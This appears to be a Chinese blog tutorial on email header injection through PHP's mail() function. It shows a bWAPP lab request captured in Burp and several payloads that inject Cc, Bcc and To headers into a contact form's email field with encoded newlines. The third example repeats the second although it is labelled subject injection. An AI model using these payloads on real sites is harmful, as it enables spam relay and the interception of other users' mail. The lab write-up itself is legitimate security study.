zoukankan      html  css  js  c++  java
  • 电子邮件头注入

    电子邮件头注入

    漏洞含义:

    大多数网站允许他们的用户联系他们,向网站提供建议,报告一个问题,或者要求反馈,用户将会发送反馈给网站管理员的电子邮件,一般只发生在webemail。如果存在漏洞,便可以利用此邮件服务器和此邮件地址向其他人发送邮件,它允许恶意攻击者注入任何邮件头字段,BCC、CC、主题等,它允许黑客通过注入手段从受害者的邮件服务器发送垃圾邮件。

    漏洞原理:

    在php中有mail()函数用于发送邮件。

    bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )

    其中to,subject,message都为接收的参数。发送邮件功能代码从用户接收输入(包括邮件主题、消息和来源等),参数没有过滤和验证。因此,恶意攻击者可以任意控制这些参数的值,用户发送inject攻击。

    常见的标题头

    • return-path:邮件的回复地址。
    • from:发件人地址。
    • to:收件人地址。
    • subject:邮件主题,即邮件名。
    • body:邮件内容。
    • date:邮件发送日期。
    • cc:抄送。
    • bcc:密送。

    示范:

    列举bee-box的bwapp中Mail Header Injection(smtp)一题:

    burp抓包:

    POST /bWAPP/maili.php HTTP/1.1
    Host: 192.168.0.108
    Content-Length: 54
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://192.168.0.108
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://192.168.0.108/bWAPP/maili.php
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: security_level=0; PHPSESSID=9d12f87ae399cf50674d1e529e3ab53c
    Connection: close
    
    name=test&email=test%40qq.com&remarks=test&form=submit
    
    注入方式:

    需要增加换行符 或者 ,或者16进制换行符"0x0A";

    1.cc/bcc注入:在发送者(email)后注入参数-》

    name=test&email=test%40qq.com%0Acc:fxxk1@qq.com%0Abcc:fxxk2@qq.com&remarks=test&form=submit

    然后消息就会发送到fxxk1和fxxk2账户中。

    2.参数注入:

    name=test&email=test%40qq.com%0ATo:攻击者@qq.com&remarks=test&form=submit

    消息就会通过发送到攻击者账户。

    3.邮件主题注入:

    name=test&email=test%40qq.com%0ATo:攻击者@qq.com&remarks=test&form=submit

    ps:听说还可以劫持找回密码邮件。但是不知道是什么原理。
    对这个漏洞,我的理解就是:使用有漏洞的邮件服务器,并使用bcc密送也可以发送一份反馈邮件到我们自己的邮件中。

  • 相关阅读:
    MYSQL数据类型——字符串类型
    MYSQL——记录长度
    MYSQL数据类型——时间日期类型
    MYSQL数据类型——数值类型
    为什么在 IDEA jsp 中直接使用 out.println 会出错
    花指令行为大赏
    EasyCpp 题解
    [SUCTF2019] hardcpp 题解
    洛谷 P1650 田忌赛马题解
    Dict 协议是什么
  • 原文地址:https://www.cnblogs.com/cou1d/p/14773662.html
Copyright © 2011-2022 走看看